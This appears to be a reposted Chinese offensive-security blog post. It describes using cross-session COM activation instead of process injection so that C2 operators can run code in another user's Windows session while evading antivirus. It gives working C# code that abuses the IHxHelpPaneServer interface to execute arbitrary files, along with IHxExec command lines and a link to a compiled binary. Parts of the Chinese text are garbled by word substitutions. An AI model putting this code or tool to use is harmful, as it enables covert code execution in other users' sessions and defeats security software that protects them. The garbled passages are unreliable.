目录
媒介
Windows Session 的使用
Windows Session 先容
跨会话激活技术
什么是跨会话激活机制?
常见的跨会话激活技术
结合使用
所在
媒介
众所周知,常用的C2工具(例如CobaltStrike)在另一个历程上下文中实验代码经常使用的就是inject和shinject命令,这两个命令可以将代码注入到任意远程历程中。例如:
但是历程注入方案现在已经被杀软监测得死死的,尤其是某数字公司,只有在当进步程上下文中举行注入才不会被杀。那么除了历程注入外我们是否另有其他方案能在其他历程上下文中实验代码呢?
Windows Session 的使用
Windows Session 先容
在先容新工具前,我先讲一下大抵的原理,核心就是使用了Windows Session。会话(session)是由历程和其他的系统对象(比如窗口站、桌面和窗口)构成的,他们代表了一个用户的工作站登录会话。Windows系统是支持多会话的,因此会话空间(session space)包含了一些针对每个会话的全局信息。Session的创建一般有以下两种方式:
- 当地会话:用户在物理机上登录,创建一个会话。
- 远程会话:同一用户通过远程桌面连接到同一台机器,也会创建一个新的会话。
我们可以通过输入quser来查询当前Session:
Windows中net session的使用也可以查看这里,举行进一步相识,例如窃取Session来举行提权(前提是得到了SeImpersonate或者SeAssignPrimaryToken权限)。
跨会话激活技术
什么是跨会话激活机制?
跨会话激活机制是指在不同的用户会话之间实验某些操作或激活某些功能。这种机制在多用户情况(如终端服务器或远程桌面服务)中尤为重要,因为不同用户的会话是隔离的。
常见的跨会话激活技术
Windows 服务:Windows 服务运行在会话0中,可以与其他用户会话举行交互。例如,服务可以在用户登录时启动某些历程。
任务计划步伐:可以使用任务计划步伐在特定的用户会话中实验任务。
远程桌面服务(RDS):可以通过 RDS 在不同用户会话之间举行操作。
COM 和 DCOM:组件对象模型(COM)和分布式组件对象模型(DCOM)可以在不同会话之间举行对象调用。
WTS APIs:Windows 终端服务(WTS)API 提供了一组函数,用于跨会话管理和操作。
结合使用
如果存在Session1和Session2,在Session1中使用跨会话激活技术来在Session2中实验代码,就与历程注入相差无疑了。流程为:
创建服务器会话(Session1)和客户端会话(Session2) 客户端会话是用来接收创建COM对象请求的会话,通过调用该COM对象的方法,客户端将能够在其会话中实验代码。
其中最为重要的则是怎样实验代码,此处使用P0在2016年公布的一个未文档化的接口:IHxHelpPaneServer,该接口很有用,因为它提供了一个 Execute 方法,允许在系统上实验任意文件。使用方法为:
- using System;
- using System.Runtime.InteropServices;
- namespace IHxHelpPaneServer
- {
- static class Program
- {
- static void Main()
- {
- var path = "file:///C:/Windows/System32/calc.exe";
- var session = System.Diagnostics.Process.GetCurrentProcess();
- Server.execute(session.SessionId.ToString(), path); // u can change session id here
- }
- }
- static class Server
- {
- [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
- interface IHxHelpPaneServer
- {
- void DisplayTask(string task);
- void DisplayContents(string contents);
- void DisplaySearchResults(string search);
- void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
- }
- public static void execute(string new_session_id, string path)
- {
- try
- {
- IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag
- Uri target = new Uri(path);
- server.Execute(target.AbsoluteUri);
- }
- catch
- {
- }
- }
- }
- }
复制代码 那么怎样在其他session中创建com接口呢,可以使用IStandartActivator + ISpecialSystemProperties。详情查看这里。在大多数情况下,我们都并非在多session情况中上线的,风趣的是在单session情况中,我们仍可以调用此接口举行代码实验,固然Session未举行切换,但是IHxHelpPaneServer在杀软绕过上仍旧奏效(可以理解为com接口的滥用仍起作用)。那么这里就有两套方案:
单session(常用情况):
- .\IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE
复制代码 多session:
- .\IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE
复制代码
所在
本文使用工具下载所在(已编译):https://pan.quark.cn/s/6737c50e12da
相关项目(未编译):https://github.com/CICADA8-Research/IHxExec
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |